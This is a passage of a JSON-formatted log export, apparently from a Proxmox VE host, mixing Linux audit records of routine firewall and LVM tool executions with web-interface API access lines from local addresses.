pid=65207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495765,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965495.765:65860): table=filter family=7 entries=4 op=xt_replace pid=63257 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:15 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966315843,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.843:69273): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964696626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964275574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.574:60336): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964665154,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.154:62060): argc=1 a0=\"date\""} {"@timestamp":1781966305771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.771:69244): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66476 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.353:68790): arch=c000003e syscall=59 success=no exit=-2 a0=7ffff0bd9450 a1=56d34b1d6310 a2=56d34b1cf680 a3=5 items=1 ppid=66058 pid=66059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.963:67892): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485612,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965485.612:65818): table=filter family=7 entries=4 op=xt_replace pid=63218 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:14 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966315838,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.838:69272): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964695632,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964275570,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.570:60335): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5673dc306740 items=0 ppid=1156 pid=57932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965643773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964665149,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.149:62058): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966305762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.762:69243): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966180.715:68780): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.963:67891): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475433,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965475.433:65773): table=filter family=7 entries=4 op=xt_replace pid=63174 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:14 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/toolbar/default-scroll-right.png HTTP/1.1\" 200 18300"} {"@timestamp":1781966315832,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.832:69271): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964694612,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964275567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.567:60334): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b490 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965642472,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964665143,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.143:62057): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966305757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.757:69242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966180.715:68779): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.958:67889): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465287,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965465.287:65731): table=filter family=7 entries=4 op=xt_replace pid=63135 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:14 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/toolbar/default-scroll-left.png HTTP/1.1\" 200 17863"} {"@timestamp":1781966314604,"@rawstring":"node=pve type=EXECVE msg=audit(1781966314.604:69270): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964694612,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964275562,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.562:60333): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148be0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57931 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965642472,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781964665137,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.137:62056): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966305751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.751:69241): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966180.706:68777): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.958:67888): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455147,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965455.147:65689): table=filter family=7 entries=4 op=xt_replace pid=63096 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:13 +0100] \"GET /pwt/images/icon-ram.svg HTTP/1.1\" 200 389"} {"@timestamp":1781966314566,"@rawstring":"node=pve type=EXECVE msg=audit(1781966314.566:69269): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964692600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964275556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.556:60332): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13d5d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57930 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965642472,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964665131,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.131:62055): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966304474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966304.474:69240): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d3216fe0 a1=64f8d6f88cc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966180.706:68776): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965969.954:67885): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965445975,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965445.975:65647): table=filter family=7 entries=4 op=xt_replace pid=63057 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965034469,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:13 +0100] \"GET /pwt/images/icon-cpu.svg HTTP/1.1\" 200 425"} {"@timestamp":1781966311154,"@rawstring":"node=pve type=EXECVE msg=audit(1781966311.154:69268): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964690689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964275550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.550:60331): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57929 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965640740,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964665125,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.125:62054): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966304442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966304.442:69239): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ada40 a1=64f8d73aa7a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.697:68774): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965969.954:67884): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965435799,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965435.799:65605): table=filter family=7 entries=4 op=xt_replace pid=63016 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964939312,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:15:38 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/grid/hd-pop.png HTTP/1.1\" 200 17305"} {"@timestamp":1781966311147,"@rawstring":"node=pve type=EXECVE msg=audit(1781966311.147:69265): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964690689,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964275544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.544:60330): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bb00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965640740,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964665120,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.120:62052): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966301127,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966301.127:69238): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.697:68773): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965969.946:67882): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/toolbar/default-scroll-bottom.png HTTP/1.1\" 200 18266"} {"@timestamp":1781966306140,"@rawstring":"node=pve type=EXECVE msg=audit(1781966306.140:69262): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964690689,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964275538,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.538:60329): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b9980 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965640740,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964665115,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.115:62051): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966301117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966301.117:69235): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.689:68771): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965969.946:67881): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/toolbar/default-scroll-top.png HTTP/1.1\" 200 18260"} {"@timestamp":1781966306133,"@rawstring":"node=pve type=EXECVE msg=audit(1781966306.133:69259): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964690689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964275531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.531:60328): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965639751,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964665110,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.110:62050): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966296.108:69232): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.689:68770): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.737:67877): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdd72687c0 a1=629ebf87d310 a2=629ebf876680 a3=5 items=1 ppid=65185 pid=65186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/images/icon-fa-network-wired.svg HTTP/1.1\" 200 791"} {"@timestamp":1781966305820,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.820:69255): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964688675,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964275524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.524:60327): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965639751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964665105,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.105:62049): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966296.094:69229): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 